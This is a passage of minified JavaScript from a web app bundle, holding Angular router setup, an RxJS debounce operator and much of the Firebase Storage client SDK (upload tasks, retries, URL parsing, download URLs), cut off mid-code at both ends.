0===e.initialNavigation)&&o.initialNavigation(),n.setUpPreloading(),i.init(),o.resetRootComponentType(s.componentTypes[0]),this.resultOfPreactivationDone.next(null),this.resultOfPreactivationDone.complete())}ngOnDestroy(){this.destroyed=!0}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.Injector))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();function Bo(t){return t.appInitializer.bind(t)}function Ho(t){return t.bootstrapListener.bind(t)}const zo=new r.InjectionToken("Router Initializer");var Go=n(3637);function Uo(t,e=Go.P){return n=>n.lift(new qo(t,e))}class qo{constructor(t,e){this.dueTime=t,this.scheduler=e}call(t,e){return e.subscribe(new Wo(t,this.dueTime,this.scheduler))}}class Wo extends se.L{constructor(t,e,n){super(t),this.dueTime=e,this.scheduler=n,this.debouncedSubscription=null,this.lastValue=null,this.hasValue=!1}_next(t){this.clearDebounce(),this.lastValue=t,this.hasValue=!0,this.add(this.debouncedSubscription=this.scheduler.schedule(Ko,this.dueTime,this))}_complete(){this.debouncedNext(),this.destination.complete()}debouncedNext(){if(this.clearDebounce(),this.hasValue){const{lastValue:t}=this;this.lastValue=null,this.hasValue=!1,this.destination.next(t)}}clearDebounce(){const t=this.debouncedSubscription;null!==t&&(this.remove(t),t.unsubscribe(),this.debouncedSubscription=null)}}function Ko(t){t.debouncedNext()}var $o=n(309),Qo=n(57),Xo=n(9759),Zo=n(4762),Yo=n(4685),Jo=n(6034),ts="firebasestorage.googleapis.com",es="storageBucket",ns=function(t){function e(n,r){var i=t.call(this,rs(n),"Firebase Storage: "+r+" ("+rs(n)+")")||this;return i.customData={serverResponse:null},i._baseMessage=i.message,Object.setPrototypeOf(i,e.prototype),i}return(0,Zo.ZT)(e,t),e.prototype._codeEquals=function(t){return rs(t)===this.code},Object.defineProperty(e.prototype,"serverResponse",{get:function(){return this.customData.serverResponse},set:function(t){this.customData.serverResponse=t,this.message=this.customData.serverResponse?this._baseMessage+"\n"+this.customData.serverResponse:this._baseMessage},enumerable:!1,configurable:!0}),e}(Yo.ZR);function rs(t){return"storage/"+t}function is(){return new ns("unknown","An unknown error occurred, please check the error payload for server response.")}function os(){return new ns("canceled","User canceled the upload/download.")}function ss(){return new ns("cannot-slice-blob","Cannot slice blob for upload. Please retry the upload.")}function as(t){return new ns("invalid-argument",t)}function cs(){return new ns("app-deleted","The Firebase app was deleted.")}function ls(t){return new ns("invalid-root-operation","The operation '"+t+"' cannot be performed on a root reference, create a non-root reference using child, such as .child('file.png').")}function us(t,e){return new ns("invalid-format","String does not match format '"+t+"': "+e)}function ds(t){throw new ns("internal-error","Internal error: "+t)}var hs={RAW:"raw",BASE64:"base64",BASE64URL:"base64url",DATA_URL:"data_url"},ps=function(t,e){this.data=t,this.contentType=e||null};function fs(t,e){switch(t){case hs.RAW:return new ps(gs(e));case hs.BASE64:case hs.BASE64URL:return new ps(ms(t,e));case hs.DATA_URL:return new ps(function(t){var e=new ys(t);return e.base64?ms(hs.BASE64,e.rest):function(t){var e;try{e=decodeURIComponent(t)}catch(n){throw us(hs.DATA_URL,"Malformed data URL.")}return gs(e)}(e.rest)}(e),function(t){return new ys(t).contentType}(e))}throw is()}function gs(t){for(var e=[],n=0;n<t.length;n++){var r=t.charCodeAt(n);if(r<=127)e.push(r);else if(r<=2047)e.push(192|r>>6,128|63&r);else if(55296==(64512&r))if(n<t.length-1&&56320==(64512&t.charCodeAt(n+1))){var i=r,o=t.charCodeAt(++n);e.push(240|(r=65536|(1023&i)<<10|1023&o)>>18,128|r>>12&63,128|r>>6&63,128|63&r)}else e.push(239,191,189);else 56320==(64512&r)?e.push(239,191,189):e.push(224|r>>12,128|r>>6&63,128|63&r)}return new Uint8Array(e)}function ms(t,e){switch(t){case hs.BASE64:var n=-1!==e.indexOf("-"),r=-1!==e.indexOf("_");if(n||r)throw us(t,"Invalid character '"+(n?"-":"_")+"' found: is it base64url encoded?");break;case hs.BASE64URL:var i=-1!==e.indexOf("+"),o=-1!==e.indexOf("/");if(i||o)throw us(t,"Invalid character '"+(i?"+":"/")+"' found: is it base64 encoded?");e=e.replace(/-/g,"+").replace(/_/g,"/")}var s;try{s=atob(e)}catch(l){throw us(t,"Invalid character found")}for(var a=new Uint8Array(s.length),c=0;c<s.length;c++)a[c]=s.charCodeAt(c);return a}var ys=function(t){this.base64=!1,this.contentType=null;var e=t.match(/^data:([^,]+)?,/);if(null===e)throw us(hs.DATA_URL,"Must be formatted 'data:[<mediatype>][;base64],<data>");var n=e[1]||null;null!=n&&(this.base64=function(t,e){return t.length>=e.length&&t.substring(t.length-e.length)===e}(n,";base64"),this.contentType=this.base64?n.substring(0,n.length-";base64".length):n),this.rest=t.substring(t.indexOf(",")+1)},bs={RUNNING:"running",PAUSED:"paused",SUCCESS:"success",CANCELED:"canceled",ERROR:"error"};function vs(t){switch(t){case"running":case"pausing":case"canceling":return bs.RUNNING;case"paused":return bs.PAUSED;case"success":return bs.SUCCESS;case"canceled":return bs.CANCELED;case"error":default:return bs.ERROR}}var _s=(()=>{return(t=_s||(_s={}))[t.NO_ERROR=0]="NO_ERROR",t[t.NETWORK_ERROR=1]="NETWORK_ERROR",t[t.ABORT=2]="ABORT",_s;var t})(),Cs=function(){function t(){var t=this;this.sent_=!1,this.xhr_=new XMLHttpRequest,this.errorCode_=_s.NO_ERROR,this.sendPromise_=new Promise(function(e){t.xhr_.addEventListener("abort",function(){t.errorCode_=_s.ABORT,e(t)}),t.xhr_.addEventListener("error",function(){t.errorCode_=_s.NETWORK_ERROR,e(t)}),t.xhr_.addEventListener("load",function(){e(t)})})}return t.prototype.send=function(t,e,n,r){if(this.sent_)throw ds("cannot .send() more than once");if(this.sent_=!0,this.xhr_.open(e,t,!0),void 0!==r)for(var i in r)r.hasOwnProperty(i)&&this.xhr_.setRequestHeader(i,r[i].toString());return void 0!==n?this.xhr_.send(n):this.xhr_.send(),this.sendPromise_},t.prototype.getErrorCode=function(){if(!this.sent_)throw ds("cannot .getErrorCode() before sending");return this.errorCode_},t.prototype.getStatus=function(){if(!this.sent_)throw ds("cannot .getStatus() before sending");try{return this.xhr_.status}catch(ya){return-1}},t.prototype.getResponseText=function(){if(!this.sent_)throw ds("cannot .getResponseText() before sending");return this.xhr_.responseText},t.prototype.abort=function(){this.xhr_.abort()},t.prototype.getResponseHeader=function(t){return this.xhr_.getResponseHeader(t)},t.prototype.addUploadProgressListener=function(t){null!=this.xhr_.upload&&this.xhr_.upload.addEventListener("progress",t)},t.prototype.removeUploadProgressListener=function(t){null!=this.xhr_.upload&&this.xhr_.upload.removeEventListener("progress",t)},t}(),ws=function(){function t(){}return t.prototype.createXhrIo=function(){return new Cs},t}(),xs=function(){function t(t,e){this.bucket=t,this.path_=e}return Object.defineProperty(t.prototype,"path",{get:function(){return this.path_},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"isRoot",{get:function(){return 0===this.path.length},enumerable:!1,configurable:!0}),t.prototype.fullServerUrl=function(){var t=encodeURIComponent;return"/b/"+t(this.bucket)+"/o/"+t(this.path)},t.prototype.bucketOnlyServerUrl=function(){return"/b/"+encodeURIComponent(this.bucket)+"/o"},t.makeFromBucketSpec=function(e,n){var r;try{r=t.makeFromUrl(e,n)}catch(i){return new t(e,"")}if(""===r.path)return r;throw function(t){return new ns("invalid-default-bucket","Invalid default bucket '"+t+"'.")}(e)},t.makeFromUrl=function(e,n){var r=null,i="([A-Za-z0-9.\\-_]+)",o=new RegExp("^gs://"+i+"(/(.*))?$","i");function s(t){t.path_=decodeURIComponent(t.path)}for(var a=n.replace(/[.]/g,"\\."),c=[{regex:o,indices:{bucket:1,path:3},postModify:function(t){"/"===t.path.charAt(t.path.length-1)&&(t.path_=t.path_.slice(0,-1))}},{regex:new RegExp("^https?://"+a+"/v[A-Za-z0-9_]+/b/"+i+"/o(/([^?#]*).*)?$","i"),indices:{bucket:1,path:3},postModify:s},{regex:new RegExp("^https?://"+(n===ts?"(?:storage.googleapis.com|storage.cloud.google.com)":n)+"/"+i+"/([^?#]*)","i"),indices:{bucket:1,path:2},postModify:s}],l=0;l<c.length;l++){var u=c[l],d=u.regex.exec(e);if(d){var h=d[u.indices.path];h||(h=""),r=new t(d[u.indices.bucket],h),u.postModify(r);break}}if(null==r)throw function(t){return new ns("invalid-url","Invalid URL '"+t+"'.")}(e);return r},t}(),Ps=function(){function t(t){this.promise_=Promise.reject(t)}return t.prototype.getPromise=function(){return this.promise_},t.prototype.cancel=function(t){},t}();function Ss(t){return"string"==typeof t||t instanceof String}function Ms(t){return Os()&&t instanceof Blob}function Os(){return"undefined"!=typeof Blob}function Es(t,e,n,r){if(r<e)throw as("Invalid value for '"+t+"'. Expected "+e+" or greater.");if(r>n)throw as("Invalid value for '"+t+"'. Expected "+n+" or less.")}function Ts(t,e){var n=e.match(/^(\w+):\/\/.+/),r=e;return null==(null==n?void 0:n[1])&&(r="https://"+e),r+"/v0"+t}function Is(t){var e=encodeURIComponent,n="?";for(var r in t)t.hasOwnProperty(r)&&(n=n+(e(r)+"=")+e(t[r])+"&");return n.slice(0,-1)}var ks=function(){function t(t,e,n,r,i,o,s,a,c,l,u){var d=this;this.pendingXhr_=null,this.backoffId_=null,this.canceled_=!1,this.appDelete_=!1,this.url_=t,this.method_=e,this.headers_=n,this.body_=r,this.successCodes_=i.slice(),this.additionalRetryCodes_=o.slice(),this.callback_=s,this.errorCallback_=a,this.progressCallback_=l,this.timeout_=c,this.pool_=u,this.promise_=new Promise(function(t,e){d.resolve_=t,d.reject_=e,d.start_()})}return t.prototype.start_=function(){var t=this;function e(e,n){var r=t.resolve_,i=t.reject_,o=n.xhr;if(n.wasSuccessCode)try{var s=t.callback_(o,o.getResponseText());!function(t){return void 0!==t}(s)?r():r(s)}catch(c){i(c)}else if(null!==o)(a=is()).serverResponse=o.getResponseText(),i(t.errorCallback_?t.errorCallback_(o,a):a);else if(n.canceled)i(a=t.appDelete_?cs():os());else{var a;i(a=new ns("retry-limit-exceeded","Max retry time for operation exceeded, please try again."))}}this.canceled_?e(0,new As(!1,null,!0)):this.backoffId_=function(t,e,n){var r=1,i=null,o=!1,s=0;function a(){return 2===s}var c=!1;function l(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];c||(c=!0,e.apply(null,t))}function u(e){i=setTimeout(function(){i=null,t(d,a())},e)}function d(t){for(var e=[],n=1;n<arguments.length;n++)e[n-1]=arguments[n];if(!c){if(t)return void l.call.apply(l,(0,Zo.ev)([null,t],e));var i;if(a()||o)return void l.call.apply(l,(0,Zo.ev)([null,t],e));r<64&&(r*=2),1===s?(s=2,i=0):i=1e3*(r+Math.random()),u(i)}}var h=!1;function p(t){h||(h=!0,!c&&(null!==i?(t||(s=2),clearTimeout(i),u(0)):t||(s=1)))}return u(0),setTimeout(function(){o=!0,p(!0)},n),p}(function(e,n){if(n)e(!1,new As(!1,null,!0));else{var r=t.pool_.createXhrIo();t.pendingXhr_=r,null!==t.progressCallback_&&r.addUploadProgressListener(i),r.send(t.url_,t.method_,t.body_,t.headers_).then(function(n){null!==t.progressCallback_&&n.removeUploadProgressListener(i),t.pendingXhr_=null;var r=(n=n).getErrorCode()===_s.NO_ERROR,o=n.getStatus();if(r&&!t.isRetryStatusCode_(o)){var s=-1!==t.successCodes_.indexOf(o);e(!0,new As(s,n))}else{var a=n.getErrorCode()===_s.ABORT;e(!1,new As(!1,null,a))}})}function i(e){null!==t.progressCallback_&&t.progressCallback_(e.loaded,e.lengthComputable?e.total:-1)}},e,this.timeout_)},t.prototype.getPromise=function(){return this.promise_},t.prototype.cancel=function(t){this.canceled_=!0,this.appDelete_=t||!1,null!==this.backoffId_&&function(t){t(!1)}(this.backoffId_),null!==this.pendingXhr_&&this.pendingXhr_.abort()},t.prototype.isRetryStatusCode_=function(t){var e=t>=500&&t<600,n=-1!==[408,429].indexOf(t),r=-1!==this.additionalRetryCodes_.indexOf(t);return e||n||r},t}(),As=function(t,e,n){this.wasSuccessCode=t,this.xhr=e,this.canceled=!!n};function Ds(){return"undefined"!=typeof BlobBuilder?BlobBuilder:"undefined"!=typeof WebKitBlobBuilder?WebKitBlobBuilder:void 0}function Ns(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];var n=Ds();if(void 0!==n){for(var r=new n,i=0;i<t.length;i++)r.append(t[i]);return r.getBlob()}if(Os())return new Blob(t);throw new ns("unsupported-environment","This browser doesn't seem to support creating Blobs")}var Rs=function(){function t(t,e){var n=0,r="";Ms(t)?(this.data_=t,n=t.size,r=t.type):t instanceof ArrayBuffer?(e?this.data_=new Uint8Array(t):(this.data_=new Uint8Array(t.byteLength),this.data_.set(new Uint8Array(t))),n=this.data_.length):t instanceof Uint8Array&&(e?this.data_=t:(this.data_=new Uint8Array(t.length),this.data_.set(t)),n=t.length),this.size_=n,this.type_=r}return t.prototype.size=function(){return this.size_},t.prototype.type=function(){return this.type_},t.prototype.slice=function(e,n){if(Ms(this.data_)){var r=function(t,e,n){return t.webkitSlice?t.webkitSlice(e,n):t.mozSlice?t.mozSlice(e,n):t.slice?t.slice(e,n):null}(this.data_,e,n);return null===r?null:new t(r)}return new t(new Uint8Array(this.data_.buffer,e,n-e),!0)},t.getBlob=function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];if(Os()){var r=e.map(function(e){return e instanceof t?e.data_:e});return new t(Ns.apply(null,r))}var i=e.map(function(t){return Ss(t)?fs(hs.RAW,t).data:t.data_}),o=0;i.forEach(function(t){o+=t.byteLength});var s=new Uint8Array(o),a=0;return i.forEach(function(t){for(var e=0;e<t.length;e++)s[a++]=t[e]}),new t(s,!0)},t.prototype.uploadData=function(){return this.data_},t}();function Ls(t){var e;try{e=JSON.parse(t)}catch(n){return null}return function(t){return"object"==typeof t&&!Array.isArray(t)}(e)?e:null}function js(t){var e=t.lastIndexOf("/",t.length-2);return-1===e?t:t.slice(e+1)}function Fs(t,e){return e}var Vs=function(t,e,n,r){this.server=t,this.local=e||t,this.writable=!!n,this.xform=r||Fs},Bs=null;function Hs(){if(Bs)return Bs;var t=[];t.push(new Vs("bucket")),t.push(new Vs("generation")),t.push(new Vs("metageneration")),t.push(new Vs("name","fullPath",!0));var e=new Vs("name");e.xform=function(t,e){return function(t){return!Ss(t)||t.length<2?t:js(t)}(e)},t.push(e);var n=new Vs("size");return n.xform=function(t,e){return void 0!==e?Number(e):e},t.push(n),t.push(new Vs("timeCreated")),t.push(new Vs("updated")),t.push(new Vs("md5Hash",null,!0)),t.push(new Vs("cacheControl",null,!0)),t.push(new Vs("contentDisposition",null,!0)),t.push(new Vs("contentEncoding",null,!0)),t.push(new Vs("contentLanguage",null,!0)),t.push(new Vs("contentType",null,!0)),t.push(new Vs("metadata","customMetadata",!0)),Bs=t}function zs(t,e,n){var r=Ls(e);return null===r?null:function(t,e,n){for(var r={type:"file"},i=n.length,o=0;o<i;o++){var s=n[o];r[s.local]=s.xform(r,e[s.server])}return function(t,e){Object.defineProperty(t,"ref",{get:function(){var n=new xs(t.bucket,t.fullPath);return e._makeStorageReference(n)}})}(r,t),r}(t,r,n)}function Gs(t,e){for(var n={},r=e.length,i=0;i<r;i++){var o=e[i];o.writable&&(n[o.server]=t[o.local])}return JSON.stringify(n)}var Us="prefixes";var qs=function(t,e,n,r){this.url=t,this.method=e,this.handler=n,this.timeout=r,this.urlParams={},this.headers={},this.body=null,this.errorHandler=null,this.progressCallback=null,this.successCodes=[200],this.additionalRetryCodes=[]};function Ws(t){if(!t)throw is()}function Ks(t,e){return function(n,r){var i=zs(t,r,e);return Ws(null!==i),i}}function $s(t){return function(e,n){var r;return(r=401===e.getStatus()?e.getResponseText().includes("Firebase App Check token is invalid")?new ns("unauthorized-app","This app does not have permission to access Firebase Storage on this project."):new ns("unauthenticated","User is not authenticated, please authenticate using Firebase Authentication and try again."):402===e.getStatus()?function(t){return new ns("quota-exceeded","Quota for bucket '"+t+"' exceeded, please view quota on https://firebase.google.com/pricing/.")}(t.bucket):403===e.getStatus()?function(t){return new ns("unauthorized","User does not have permission to access '"+t+"'.")}(t.path):n).serverResponse=n.serverResponse,r}}function Qs(t){var e=$s(t);return function(n,r){var i=e(n,r);return 404===n.getStatus()&&(i=function(t){return new ns("object-not-found","Object '"+t+"' does not exist.")}(t.path)),i.serverResponse=r.serverResponse,i}}function Xs(t,e,n){var r=Ts(e.fullServerUrl(),t.host),i=t.maxOperationRetryTime,o=new qs(r,"GET",Ks(t,n),i);return o.errorHandler=Qs(e),o}function Zs(t,e,n,r,i){var o={};o.prefix=e.isRoot?"":e.path+"/",n&&n.length>0&&(o.delimiter=n),r&&(o.pageToken=r),i&&(o.maxResults=i);var s=Ts(e.bucketOnlyServerUrl(),t.host),a=t.maxOperationRetryTime,c=new qs(s,"GET",function(t,e){return function(n,r){var i=function(t,e,n){var r=Ls(n);return null===r?null:function(t,e,n){var r={prefixes:[],items:[],nextPageToken:n.nextPageToken};if(n[Us])for(var i=0,o=n[Us];i<o.length;i++){var s=o[i].replace(/\/$/,""),a=t._makeStorageReference(new xs(e,s));r.prefixes.push(a)}if(n.items)for(var c=0,l=n.items;c<l.length;c++)a=t._makeStorageReference(new xs(e,l[c].name)),r.items.push(a);return r}(t,e,r)}(t,e,r);return Ws(null!==i),i}}(t,e.bucket),a);return c.urlParams=o,c.errorHandler=$s(e),c}function Ys(t,e,n){var r=Object.assign({},n);return r.fullPath=t.path,r.size=e.size(),r.contentType||(r.contentType=function(t,e){return e&&e.type()||"application/octet-stream"}(0,e)),r}var Js=function(t,e,n,r){this.current=t,this.total=e,this.finalized=!!n,this.metadata=r||null};function ta(t,e){var n=null;try{n=t.getResponseHeader("X-Goog-Upload-Status")}catch(r){Ws(!1)}return Ws(!!n&&-1!==(e||["active"]).indexOf(n)),n}var ea=function(t,e,n){if(function(t){return"function"==typeof t}(t)||null!=e||null!=n)this.next=t,this.error=e,this.complete=n;else{var r=t;this.next=r.next,this.error=r.error,this.complete=r.complete}};function na(t){return function(){for(var e=[],n=0;n<arguments.length;n++)e[n]=arguments[n];Promise.resolve().then(function(){return t.apply(void 0,e)})}}var ra=function(){function t(t,e,n){var r=this;void 0===n&&(n=null),this._transferred=0,this._needToFetchStatus=!1,this._needToFetchMetadata=!1,this._observers=[],this._error=void 0,this._uploadUrl=void 0,this._request=void 0,this._chunkMultiplier=1,this._resolve=void 0,this._reject=void 0,this._ref=t,this._blob=e,this._metadata=n,this._mappings=Hs(),this._resumable=this._shouldDoResumable(this._blob),this._state="running",this._errorHandler=function(t){r._request=void 0,r._chunkMultiplier=1,t._codeEquals("canceled")?(r._needToFetchStatus=!0,r.completeTransitions_()):(r._error=t,r._transition("error"))},this._metadataErrorHandler=function(t){r._request=void 0,t._codeEquals("canceled")?r.completeTransitions_():(r._error=t,r._transition("error"))},this._promise=new Promise(function(t,e){r._resolve=t,r._reject=e,r._start()}),this._promise.then(null,function(){})}return t.prototype._makeProgressCallback=function(){var t=this,e=this._transferred;return function(n){return t._updateProgress(e+n)}},t.prototype._shouldDoResumable=function(t){return t.size()>262144},t.prototype._start=function(){"running"===this._state&&void 0===this._request&&(this._resumable?void 0===this._uploadUrl?this._createResumable():this._needToFetchStatus?this._fetchStatus():this._needToFetchMetadata?this._fetchMetadata():this._continueUpload():this._oneShotUpload())},t.prototype._resolveToken=function(t){var e=this;Promise.all([this._ref.storage._getAuthToken(),this._ref.storage._getAppCheckToken()]).then(function(n){var r=n[0],i=n[1];switch(e._state){case"running":t(r,i);break;case"canceling":e._transition("canceled");break;case"pausing":e._transition("paused")}})},t.prototype._createResumable=function(){var t=this;this._resolveToken(function(e,n){var r=function(t,e,n,r,i){var o=e.bucketOnlyServerUrl(),s=Ys(e,r,i),a={name:s.fullPath},c=Ts(o,t.host),l={"X-Goog-Upload-Protocol":"resumable","X-Goog-Upload-Command":"start","X-Goog-Upload-Header-Content-Length":r.size(),"X-Goog-Upload-Header-Content-Type":s.contentType,"Content-Type":"application/json; charset=utf-8"},u=Gs(s,n),d=new qs(c,"POST",function(t){var e;ta(t);try{e=t.getResponseHeader("X-Goog-Upload-URL")}catch(n){Ws(!1)}return Ws(Ss(e)),e},t.maxUploadRetryTime);return d.urlParams=a,d.headers=l,d.body=u,d.errorHandler=$s(e),d}(t._ref.storage,t._ref._location,t._mappings,t._blob,t._metadata),i=t._ref.storage._makeRequest(r,e,n);t._request=i,i.getPromise().then(function(e){t._request=void 0,t._uploadUrl=e,t._needToFetchStatus=!1,t.completeTransitions_()},t._errorHandler)})},t.prototype._fetchStatus=function(){var t=this,e=this._uploadUrl;this._resolveToken(function(n,r){var i=function(t,e,n,r){var i=new qs(n,"POST",function(t){var e=ta(t,["active","final"]),n=null;try{n=t.getResponseHeader("X-Goog-Upload-Size-Received")}catch(o){Ws(!1)}n||Ws(!1);var i=Number(n);return Ws(!isNaN(i)),new Js(i,r.size(),"final"===e)},t.maxUploadRetryTime);return i.headers={"X-Goog-Upload-Command":"query"},i.errorHandler=$s(e),i}(t._ref.storage,t._ref._location,e,t._blob),o=t._ref.storage._makeRequest(i,n,r);t._request=o,o.getPromise().then(function(e){e=e,t._request=void 0,t._updateProgress(e.current),t._needToFetchStatus=!1,e.finalized&&(t._needToFetchMetadata=!0),t.completeTransitions_()},t._errorHandler)})},t.prototype._continueUpload=function(){var t=this,e=262144*this._chunkMultiplier,n=new Js(this._transferred,this._blob.size()),r=this._uploadUrl;this._resolveToken(function(i,o){var s;try{s=function(t,e,n,r,i,o,s,a){var c=new Js(0,0);if(s?(c.current=s.current,c.total=s.total):(c.current=0,c.total=r.size()),r.size()!==c.total)throw new ns("server-file-wrong-size","Server recorded incorrect upload file size, please retry the upload.");var l=c.total-c.current,u=l;i>0&&(u=Math.min(u,i));var d=c.current,h={"X-Goog-Upload-Command":u===l?"upload, finalize":"upload","X-Goog-Upload-Offset":c.current},p=r.slice(d,d+u);if(null===p)throw ss();var f=new qs(n,"POST",function(t,n){var i,s=ta(t,["active","final"]),a=c.current+u,l=r.size();return i="final"===s?Ks(e,o)(t,n):null,new Js(a,l,"final"===s,i)},e.maxUploadRetryTime);return f.headers=h,f.body=p.uploadData(),f.progressCallback=a||null,f.errorHandler=$s(t),f}(t._ref._location,t._ref.storage,r,t._blob,e,t._mappings,n,t._makeProgressCallback())}catch(c){return t._error=c,void t._transition("error")}var a=t._ref.storage._makeRequest(s,i,o);t._request=a,a.getPromise().then(function(e){t._increaseMultiplier(),t._request=void 0,t._updateProgress(e.current),e.finalized?(t._metadata=e.metadata,t._transition("success")):t.completeTransitions_()},t._errorHandler)})},t.prototype._increaseMultiplier=function(){262144*this._chunkMultiplier<33554432&&(this._chunkMultiplier*=2)},t.prototype._fetchMetadata=function(){var t=this;this._resolveToken(function(e,n){var r=Xs(t._ref.storage,t._ref._location,t._mappings),i=t._ref.storage._makeRequest(r,e,n);t._request=i,i.getPromise().then(function(e){t._request=void 0,t._metadata=e,t._transition("success")},t._metadataErrorHandler)})},t.prototype._oneShotUpload=function(){var t=this;this._resolveToken(function(e,n){var r=function(t,e,n,r,i){var o=e.bucketOnlyServerUrl(),s={"X-Goog-Upload-Protocol":"multipart"},a=function(){for(var t="",e=0;e<2;e++)t+=Math.random().toString().slice(2);return t}();s["Content-Type"]="multipart/related; boundary="+a;var c=Ys(e,r,i),l=Gs(c,n),u=Rs.getBlob("--"+a+"\r\nContent-Type: application/json; charset=utf-8\r\n\r\n"+l+"\r\n--"+a+"\r\nContent-Type: "+c.contentType+"\r\n\r\n",r,"\r\n--"+a+"--");if(null===u)throw ss();var d={name:c.fullPath},h=Ts(o,t.host),p=t.maxUploadRetryTime,f=new qs(h,"POST",Ks(t,n),p);return f.urlParams=d,f.headers=s,f.body=u.uploadData(),f.errorHandler=$s(e),f}(t._ref.storage,t._ref._location,t._mappings,t._blob,t._metadata),i=t._ref.storage._makeRequest(r,e,n);t._request=i,i.getPromise().then(function(e){t._request=void 0,t._metadata=e,t._updateProgress(t._blob.size()),t._transition("success")},t._errorHandler)})},t.prototype._updateProgress=function(t){var e=this._transferred;this._transferred=t,this._transferred!==e&&this._notifyObservers()},t.prototype._transition=function(t){if(this._state!==t)switch(t){case"canceling":case"pausing":this._state=t,void 0!==this._request&&this._request.cancel();break;case"running":var e="paused"===this._state;this._state=t,e&&(this._notifyObservers(),this._start());break;case"paused":this._state=t,this._notifyObservers();break;case"canceled":this._error=os(),this._state=t,this._notifyObservers();break;case"error":case"success":this._state=t,this._notifyObservers()}},t.prototype.completeTransitions_=function(){switch(this._state){case"pausing":this._transition("paused");break;case"canceling":this._transition("canceled");break;case"running":this._start()}},Object.defineProperty(t.prototype,"snapshot",{get:function(){var t=vs(this._state);return{bytesTransferred:this._transferred,totalBytes:this._blob.size(),state:t,metadata:this._metadata,task:this,ref:this._ref}},enumerable:!1,configurable:!0}),t.prototype.on=function(t,e,n,r){var i=this,o=new ea(e,n,r);return this._addObserver(o),function(){i._removeObserver(o)}},t.prototype.then=function(t,e){return this._promise.then(t,e)},t.prototype.catch=function(t){return this.then(null,t)},t.prototype._addObserver=function(t){this._observers.push(t),this._notifyObserver(t)},t.prototype._removeObserver=function(t){var e=this._observers.indexOf(t);-1!==e&&this._observers.splice(e,1)},t.prototype._notifyObservers=function(){var t=this;this._finishPromise(),this._observers.slice().forEach(function(e){t._notifyObserver(e)})},t.prototype._finishPromise=function(){if(void 0!==this._resolve){var t=!0;switch(vs(this._state)){case bs.SUCCESS:na(this._resolve.bind(null,this.snapshot))();break;case bs.CANCELED:case bs.ERROR:na(this._reject.bind(null,this._error))();break;default:t=!1}t&&(this._resolve=void 0,this._reject=void 0)}},t.prototype._notifyObserver=function(t){switch(vs(this._state)){case bs.RUNNING:case bs.PAUSED:t.next&&na(t.next.bind(t,this.snapshot))();break;case bs.SUCCESS:t.complete&&na(t.complete.bind(t))();break;case bs.CANCELED:case bs.ERROR:t.error&&na(t.error.bind(t,this._error))();break;default:t.error&&na(t.error.bind(t,this._error))()}},t.prototype.resume=function(){var t="paused"===this._state||"pausing"===this._state;return t&&this._transition("running"),t},t.prototype.pause=function(){var t="running"===this._state;return t&&this._transition("pausing"),t},t.prototype.cancel=function(){var t="running"===this._state||"pausing"===this._state;return t&&this._transition("canceling"),t},t}(),ia=function(){function t(t,e){this._service=t,this._location=e instanceof xs?e:xs.makeFromUrl(e,t.host)}return t.prototype.toString=function(){return"gs://"+this._location.bucket+"/"+this._location.path},t.prototype._newRef=function(e,n){return new t(e,n)},Object.defineProperty(t.prototype,"root",{get:function(){var t=new xs(this._location.bucket,"");return this._newRef(this._service,t)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"bucket",{get:function(){return this._location.bucket},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"fullPath",{get:function(){return this._location.path},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"name",{get:function(){return js(this._location.path)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"storage",{get:function(){return this._service},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"parent",{get:function(){var e=function(t){if(0===t.length)return null;var e=t.lastIndexOf("/");return-1===e?"":t.slice(0,e)}(this._location.path);if(null===e)return null;var n=new xs(this._location.bucket,e);return new t(this._service,n)},enumerable:!1,configurable:!0}),t.prototype._throwIfRoot=function(t){if(""===this._location.path)throw ls(t)},t}();function oa(t){var e={prefixes:[],items:[]};return sa(t,e).then(function(){return e})}function sa(t,e,n){return(0,Zo.mG)(this,void 0,void 0,function(){var r,i,o;return(0,Zo.Jh)(this,function(s){switch(s.label){case 0:return[4,aa(t,{pageToken:n})];case 1:return r=s.sent(),(i=e.prefixes).push.apply(i,r.prefixes),(o=e.items).push.apply(o,r.items),null==r.nextPageToken?[3,3]:[4,sa(t,e,r.nextPageToken)];case 2:s.sent(),s.label=3;case 3:return[2]}})})}function aa(t,e){return(0,Zo.mG)(this,void 0,void 0,function(){var n,r;return(0,Zo.Jh)(this,function(i){switch(i.label){case 0:return null!=e&&"number"==typeof e.maxResults&&Es("options.maxResults",1,1e3,e.maxResults),r=Zs(t.storage,t._location,"/",(n=e||{}).pageToken,n.maxResults),[4,t.storage.makeRequestWithTokens(r)];case 1:return[2,i.sent().getPromise()]}})})}function ca(t){return(0,Zo.mG)(this,void 0,void 0,function(){var e;return(0,Zo.Jh)(this,function(n){switch(n.label){case 0:return t._throwIfRoot("getDownloadURL"),e=function(t,e,n){var r=Ts(e.fullServerUrl(),t.host),i=t.maxOperationRetryTime,o=new qs(r,"GET",function(t,e){return function(n,r){var i=zs(t,r,e);return Ws(null!==i),function(t,e,n){var r=Ls(e);if(null===r||!Ss(r.downloadTokens))return null;var i=r.downloadTokens;if(0===i.length)return null;var o=encodeURIComponent;return i.split(",").map(function(e){var r=t.fullPath;return Ts("/b/"+o(t.bucket)+"/o/"+o(r),n)+Is({alt:"media",token:e})})[0]}(i,r,t.host)}}(t,n),i);return o.errorHandler=Qs(e),o}(t.storage,t._location,Hs()),[4,t.storage.makeRequestWithTokens(e)];case 1:return[2,n.sent().getPromise().then(function(t){if(null===t)throw new ns("no-download-url","The given file does not have any download URLs.");return t})]}})})}function la(t,e){var n=function(t,e){var n=e.split("/").filter(function(t){return t.length>0}).join("/");return 0===t.length?n:t+"/"+n}(t._location.path,e),r=new xs(t._location.bucket,n);return new ia(t.storage,r)}function ua(t){return/^[A-Za-z]+:\/\//.test(t)}function da(t,e){if(t instanceof fa){var n=t;if(null==n._bucket)throw new ns("no-default-bucket","No default bucket found. Did you set the '"+es+"' property when initializing the app?");var r=new ia(n,n._bucket);return null!=e?da(r,e):r}if(void 0!==e){if(e.includes(".."))throw as('`path` param cannot contain ".."');return la(t,e)}return 